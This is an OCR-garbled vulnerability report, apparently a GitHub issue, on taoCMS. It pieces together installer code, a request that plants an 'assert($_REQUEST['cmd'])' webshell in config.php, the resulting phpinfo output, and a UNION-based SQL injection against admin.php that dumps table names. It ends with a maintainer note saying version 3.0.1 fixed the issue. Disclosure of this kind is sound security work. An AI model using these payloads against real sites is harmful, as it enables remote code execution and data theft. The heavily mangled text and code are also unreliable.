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define('DB_NAME', 'data/blog.db');
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$configs=file_get_contents('config.php');
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$_POST['tb']&&%$configs=str_replace('define(\'TB\", \''.TB.'\");"', 'define(\"'TB\"', \''.$_POST['tb'].'\");"',$confi
gs);



Filmiunas sueu
Accept:

text/html, application/zhtml+zml, application/xml;q=0.9,image/avif, image/webp, */*;q=0
.8

Accept-Language: zh-CN, zh;q=0.8,zh-TW;g=0.7, zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate 21
Content-Type: application/x-www-form-urlencoded 22
Content-Length: 166
Origin: http://localhost :
DNT: 1
Connection: close 23‘
Referer: http://localhost/install.php [ 24‘
Cockie: PHPSESSID=gifSnuubgqdépélpvip69cikcege
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate 25
Sec-Fetch-Site: same-originl 26
Sec-Fetch-User: 71

27

db=Mysqlédb name=]127.0.0.1:3306|root|123456|taccms| ") jassert($ REQUEST ["cmd'])://& 28
th=cms &Submit=77%72%7%77R7R72777§2227&22227&7%777297777taoCMs222277 29
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<hr />
fr g dis<a href='./admin' target=' blank'>4INEHEG</ a>
‘<a href='./' target=' blank'>ABEME5E </ a>
| <a href='http://www.taocms.org' target='_blank'>taoCMS'§.’F
<a href='http://tacbbs.sinaapp.com/' target=' blank'>tacCM:
<hr />
<center style="font-size:l3px;color:gray;">
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</body>

</html>
<script>
function §(obij){
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QO D localhost/config.php?cmd=phpinfo()

System Windows NT DESKTOP-2JV12RE 6.2 build 9200 (Windows 8 Business Edition) i586

Build Date Sep 2 2015 23:45:53

Compiler MSVC9 (Visual C++ 2008)

Architecture x86

Configure cscript /nologo configure.js "--enable-snapshot-build" "--disable-isapi" "--enable-debug-

Command pack" "--without-mssgl" "--without-pdo-mssql" "--without-pi3web" "--with-pdo-oci=C:\php-
sdk\oraclelinstantclient10\sdk,shared" "--with-oci8=C:\php-sdk\oracle\instantclient10
\sdk,shared" "--with-oci8-11g=C:\php-sdk\oracle\instantclient11\sdk,shared" "--enable-
object-out-dir=../obj/" "--enable-com-dotnet=shared" "--with-mcrypt=static" "-disable-static-
analyze" "--with-pgo”

Server API Apache 2.0 Handler

Virtual Directory |enabled

Support

Configuration C:\Windows

File (php.ini)
Path

Loaded
Configuration
File

D:\phpStudy\php\php-5.4.45\php.ini

SLeaH poc

Scan this dir for |(none)
additional .ini

files

Additional .ini (none)

Delete any file

B %



$_POST['db']&&$configs=str_replace('define(\'DB\"', \''.DB.'\');"','define(\'DB\', \''.$_POST['db'].'\");"',%confi
gs);
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P_FPUDSI L db_ndme ja&drcontirgs=Sstr_repLace aderirne\ UB_NAME\" \" " JUB_NAME. \ ), , dertine(\ UB_NAMLE\" AN N VA
b ) b L b
['db_name']."'\");"',$configs);
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petlist(
var_dump (
> ->query (
¢ = ->fetch_array(

[1=Base: :magic2word(

1
+

var_dump (¢ )
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file_put_contents('config.php',$configs);
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GET /admin/admin.php?2name= 1 [0]=>
-18"+union+select+group_concat (table_name)+from+information schema.tables+where+tab 5 array(l) {
le_schemat3ddatabase () #23&cat=0&status=faction=cmséctrl=lists&submit= 6 [Meount (*)"]
REGRSFRASYEBRAFRA2 HTTP/1.1 7 string(l) "0

Host: localhost 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd4; x64; rv:95.0) cko/20100101 b [1]1=>

Firefox/95.0 '} array(l) |

Recept: . Teount (*) "]=>

t html, application/xhtml+xml, application/xml;q=0.9,image/avif, image/webp,*/* ;q=0 2F string(79) "cms admin,cms category,cms cms,cms comment,cms link,cms relations,cms fe
.B 28 )

Rccept-Llanguage: zh-CHN, zh;qg .7,zh-HK;gq=0.5,en-US;q=0.3,en;g=0.2 T

Accept-Encoding: gzip, deflate NULL

DNT: 1 <!DOCTYPE html PUBLIC "-//W3C ¥HTML 1.0 Transiticonal//EN" "http://www.w3.org/TR
Connection: close 27 <html xmlns="http:/ Ml

Referer:

http://1c

calhost/admin/admin.php?name=123%270r+1%3D1%23&cat=0&status=gaction=cms&ct

content="te:

IPSESSID=gfSnuul

Upgrade-Insecure-Requ 1
Sec-Fetch-Dest: frame
Sec-Fetch-Mode: navigate 32

Sec-Fetch-5ite: same-origin

Sec-Fetch-User:

ZEMAIMEBEARITEFRESERET, BTXERSGETZHROIERN, MAFEHITEEMAMIENE R
sqimap 7 et TR, BB sql EAMA——DT
#F: ERREHEERRIES, TE github 18MA] issue T cms EEEELEIE.

taogogo commented on 4 Mar Owner | (2 --*

3.0.1 fixed, thanks for your contribution



